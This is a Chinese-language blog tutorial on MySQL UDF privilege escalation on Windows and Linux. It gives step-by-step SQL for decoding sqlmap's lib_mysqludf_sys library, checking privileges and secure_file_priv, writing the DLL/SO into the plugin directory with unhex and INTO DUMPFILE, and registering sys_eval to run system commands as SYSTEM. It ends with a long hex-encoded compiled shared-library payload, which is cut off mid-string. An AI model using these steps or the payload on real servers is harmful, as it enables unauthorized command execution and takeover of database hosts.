Windows与Linux的MYSQL UDF提权分析

原理分析

什么是UDF

所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database(),但这一功能也导致了自定义函数中可能包含了恶意函数(系统命令),然后恶意的指令被以更高的权限执行后,实现提权的手段。

一般无论是库站分离的服务器,还是库站在一台服务器的情况,我们都是先拿下www的权限之后才有机会接触到数据库连接,毕竟没有多少人会真的打开3306端口把数据库对公,因此我们获得一个数据库的普通账号还是比较容易的,那么能否得到一个特权普通账号或是root账号,就成为了udf提权是否存在的真正核心问题。

利用条件

下面来分析在不同的系统中UDF提权利用条件的差异性

Wlndows

在Windows中Mysql一般以System权限执行。

故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。

LInux

在Linux中则不同,Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。

所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权,一般会被归类到权限配置错误里。

因此漏洞出现原因有两个,权限配置错误和特权账号信息泄露

利用方法

放在最前面

最新版的sqlmap的udf文件换路径至/usr/share/sqlmap/data/udf此处不要找错了

使用/usr/share/sqlmap/extra/cloak/cloak.py进行异或解码后利用

python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

之后会在原位置生成一个解码后的so/dll文件

这个so/dll文件总共包含四个函数

sys_eval,执行任意命令,并将输出返回。
​
sys_exec,执行任意命令,并将退出码返回。
​
sys_get,获取一个环境变量。
​
sys_set,创建或修改一个环境变量。

Windows

由于我的sql版本太老,这里使用reuodut的步骤信息

0.版本问题

mysql不同版本在windows下dll文件的检索位置是不同的

mysql < 5.0 : 可以在任何位置

MySQL<5.1 : 需要导出至系统目录下 如C:/windows/system32/

MySQL >5.1 : 需要导出到sql安装目录的lib\plugin下(一般需要手动创建)

由于5.1以上理论上可以通过NTFS ADS流模式,来实现创建文件夹,但由于根本没看到有人试验成功过,所以5.1以上版本究竟是否能够提权,成谜。

1.查看版本确定文件导出位置

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)

2.获取mysql安装目录

windows下我们一般可以进入到mysql文件夹下的,我们可以cd进去看一眼有么有lib\plugin文件夹,看到5.1以上版本,文件夹里还没有lib\plugin建议直接放弃,转点

mysql> select @@basedir;
+--------------------------------+
| @@basedir                      |
+--------------------------------+
| C:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.00 sec)

3.查看用户权限

这一步主要目的是查看用户有没有insert,upload,delete,file等权限,其实如果你是root权限是不用做权限检验的,这一步一般用来验证,当你只有一个普通用户的时候,你是否拥有特权。

mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G;
*************************** 1. row ***************************
                  Host: 127.0.0.1
                  User: root
              Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
           Select_priv: Y
           Insert_priv: Y
           Update_priv: Y
           Delete_priv: Y
           Create_priv: Y
             Drop_priv: Y
           Reload_priv: Y
         Shutdown_priv: Y
          Process_priv: Y
             File_priv: Y
            Grant_priv: Y
       References_priv: Y
            Index_priv: Y
            Alter_priv: Y
          Show_db_priv: Y
            Super_priv: Y
 Create_tmp_table_priv: Y
      Lock_tables_priv: Y
          Execute_priv: Y
       Repl_slave_priv: Y
      Repl_client_priv: Y
      Create_view_priv: Y
        Show_view_priv: Y
   Create_routine_priv: Y
    Alter_routine_priv: Y
      Create_user_priv: Y
            Event_priv: Y
          Trigger_priv: Y
Create_tablespace_priv: Y
              ssl_type:
            ssl_cipher:
           x509_issuer:
          x509_subject:
         max_questions: 0
           max_updates: 0
       max_connections: 0
  max_user_connections: 0
                plugin:
 authentication_string:
1 row in set (0.01 sec)

4.查看可操作路径

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只有通过别的方法将udf.dll写入安装路径。

5.上传DLL并利用

首先创建plugin文件夹,可以看到是报错了的,原博主为了可以进行下一步的演示,手工创建了plugin的文件夹。

mysql> select 'test' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)

思路一

由于禁止了导入,所以我们选择在本地导入成udf文件,然后在目标机上将比如本地导出的udf当作表内容添加进入

有了文件夹后开始将dll文件制作成udf文件

# 首先将本地保存dll文件的地址转化成16进制,
比如说C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll这个地址转换为16进制就是
​
433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c
​
# 然后在本地导入dll文件,注意在上面的16进制地址需要在前面写上0x
SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile '/tmp/udf.txt';
# 至此udf.txt文件中的内容就是udf文件的十六进制格式
​
# 接下来在目标机上写入udf文件
1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
# 对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
​
# 到此如果没有报错,就是生成成功了,接下来要开始导入
DROP TABLE udftmp; 
# 删除udftmp表删掉
​
# 导入udf函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 

然后查看一下函数库

select * from mysql.func;

如果能看到sys_eval就算是新建udf文件成功了,可以以system权限执行函数了

SELECT sys_eval('ipconfig');
返回网卡信息

思路二

当不禁止文件的导入和导出的时候就可以直接上传dll文件到插件文件夹来进行文件的导入

这样会简单不少,也不会涉及十六进制的转来转去

如果不能上传可以选择

select unhex('十六进制dll文件') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.dll';

直接上传dll文件到C:\phpStudy\PHPTutorial\MySQL\lib\plugin文件夹下

create function sys_eval returns strings soname ‘lib_mysqludf_sys.dll’;

linux

由于mysql跨平台特征,在linux和windows上的操作是一样的,所以可以直接参考winodws的操作来进行操作。

除此之外只需要记得linux下udf文件的后缀是so就是了

参考文献

Sql注入-Windows下利用udf提权 - reuodut - 博客园 (cnblogs.com)

Mysql提权-基于Mysql的UDF提权(Linux系统) - 码小农的幸福生活 - 博客园 (cnblogs.com)

MySQL提权的三种方法 - FreeBuf网络安全行业门户

linux mysql udf 提权 - mrhonest - 博客园 (cnblogs.com)

sqld与sql_safe

其他

提供一个十六进制编译好的linux so文件来源于mrhonest

32位:

select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F00000

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值